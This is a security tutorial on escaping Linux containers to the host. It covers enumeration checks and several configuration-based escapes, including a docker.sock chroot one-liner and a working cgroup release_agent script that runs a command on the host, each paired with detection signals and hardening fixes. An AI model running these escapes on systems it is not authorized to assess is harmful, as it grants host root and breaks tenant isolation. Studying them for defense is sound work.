
Linux container escapes: from inside the container to the host
Scope: assumes code execution inside a Linux container. The escapes below are configuration, not CVEs, unless noted. Each is paired with host-side detection and the fix.
You have a shell inside a Linux container. The container is a boundary, not a sandbox you can assume holds: a handful of ordinary misconfigurations turn code execution inside it into code execution on the host. This walks the built-in checks that tell you whether you are contained and what bridges out, then the documented escapes, each closed with the signal it leaves. Exploit code for the CVE-class escapes is referenced by name, not carried; the rest are configuration, and the move is a one-liner.
Am I in a container, and what kind
ls -la /.dockerenv 2>/dev/null # present in many Docker images
cat /proc/1/cgroup; cat /proc/self/cgroup # docker/lxc/kubepods in the paths
cat /proc/self/status | grep -i cap # CapEff is the capability bitmask
capsh --print 2>/dev/null # readable capability list if present
mount; cat /proc/mounts # host paths and the docker socket show here
ls -la /var/run/docker.sock 2>/dev/null # the daemon socket, if mounted in
The questions: are you namespaced (cgroup paths say so), how many capabilities do you hold (a long CapEff or a privileged flag is the whole game), and is anything from the host mounted inside (a socket, a host directory, or /).
The escape surface
# Capabilities in effect (decode CapEff, or read the names)
grep CapEff /proc/self/status
capsh --decode=$(grep CapEff /proc/self/status | awk '{print $2}') 2>/dev/null
# Host filesystem or sensitive mounts inside the container
findmnt 2>/dev/null || cat /proc/mounts
# Host PID namespace shared? (you can see host processes)
ps -e | head; ls /proc/1/root 2>/dev/null
# Device access (a privileged container often exposes host block devices)
ls -la /dev | head
A mounted docker.sock, a privileged container, CAP_SYS_ADMIN, a shared host PID namespace, or a host directory mounted read-write are each a bridge to the host.
Escapes
Each needs a specific finding. The fix line is the point for defenders: remove the condition and the escape is gone.
Mounted docker socket. /var/run/docker.sock is mounted in, so you can drive the host's Docker daemon and ask it to give you the host filesystem as root:
docker -H unix:///var/run/docker.sock run -v /:/host --rm -it alpine chroot /host sh
(If the docker client is absent, the same is a couple of HTTP calls to the socket.) Detect: a container, or its service account, talking to the daemon socket; a new container with / bind-mounted. Fix: never mount docker.sock into a container; if a workload must talk to Docker, broker it.
Privileged container, cgroup release_agent. A --privileged container can use the cgroup release_agent to run a command on the host when a cgroup empties:
# requires privileged / CAP_SYS_ADMIN to mount the cgroup
mkdir /tmp/c && mount -t cgroup -o rdma cgroup /tmp/c 2>/dev/null
mkdir /tmp/c/x && echo 1 > /tmp/c/x/notify_on_release
host=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -1) # extract the overlayfs upperdir, i.e. the host path backing this container
echo "$host/cmd" > /tmp/c/release_agent
printf '#!/bin/sh\nid > /output\n' > /cmd; chmod +x /cmd
sh -c "echo \$\$ > /tmp/c/x/cgroup.procs" # empty the cgroup to trigger on host
Detect: a container mounting cgroup filesystems, a release_agent write, a host process spawned by the kernel cgroup release path. Fix: do not run privileged containers; drop CAP_SYS_ADMIN.
Host path mounted read-write. A host directory (worst case /, often /etc, /root, or a host config dir) is bind-mounted in. Write a foothold onto the host: a cron entry, an SSH key into /root/.ssh, or a SUID binary. Detect: container writes to host-sensitive paths, new cron or authorized_keys entries. Fix: mount only what is needed, read-only, never host-sensitive directories.
CAP_SYS_PTRACE with a shared host PID namespace. You can attach to and inject into host processes. Detect: ptrace of a host process from a container task. Fix: do not share the host PID namespace; drop CAP_SYS_PTRACE.
CAP_DAC_READ_SEARCH. The open_by_handle_at technique (historically "shocker") reads arbitrary host files by brute-forcing file handles. Detect: unusual open_by_handle_at activity from a container. Fix: drop the capability; it is rarely needed.
Runtime CVEs. When the configuration is clean, the container runtime is the last door: the runc "leaky vessels" class (CVE-2024-21626) and similar let a container overwrite the host runc or escape through a leaked file descriptor on specific versions. No exploit code here: read the runtime version, check whether a maintained public exploit matches, detect the known artifacts, and patch so the version no longer qualifies.
Detection
Container escapes are best caught host-side, where the container's view does not apply. Falco is the natural tool, and the patterns map cleanly to rules:
- Daemon socket access. A container process connecting to
/var/run/docker.sock, or a new container created with/or a host-sensitive path bind-mounted, is a strong signal. - Suspicious mounts and cgroup writes. A container mounting a cgroup or host filesystem, or writing
release_agentornotify_on_release, is abnormal for a running workload. - Cross-boundary process activity. A process in a container namespace spawning or ptracing a process in the host namespace, or a host process whose parent is the kernel cgroup release path, is the escape landing.
- Host writes from a container. New
authorized_keys, cron entries, or SUID binaries on the host that trace back to a container mount are the foothold being planted.
The high-confidence signal is crossing the boundary: a container task causing an effect in the host namespace. Collect from the host or the runtime, not from inside the container, because an escaped attacker controls the latter.
Hardening, briefly
Do not run privileged containers; drop all capabilities and add back only what is required; never mount docker.sock or host-sensitive paths, and mount read-only where you can; enable user namespaces so container root is not host root; keep seccomp and AppArmor or SELinux profiles on; and patch the runtime so version-based escapes close. Each one removes a specific escape above. The docker/lxd group as a host-equivalent shows up again from the host side in living off the land on Linux.
Use
Authorized and educational use only: your own labs, a cluster you control, or an engagement with written permission. These are enumeration checks and documented, configuration-based escapes for an environment you are authorized to assess, shown with their detection so defenders can close and watch them.